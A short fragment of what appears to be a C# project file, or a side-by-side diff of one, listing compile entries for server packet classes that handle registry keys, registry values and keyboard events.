<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryValue.cs" />
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" /> <Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />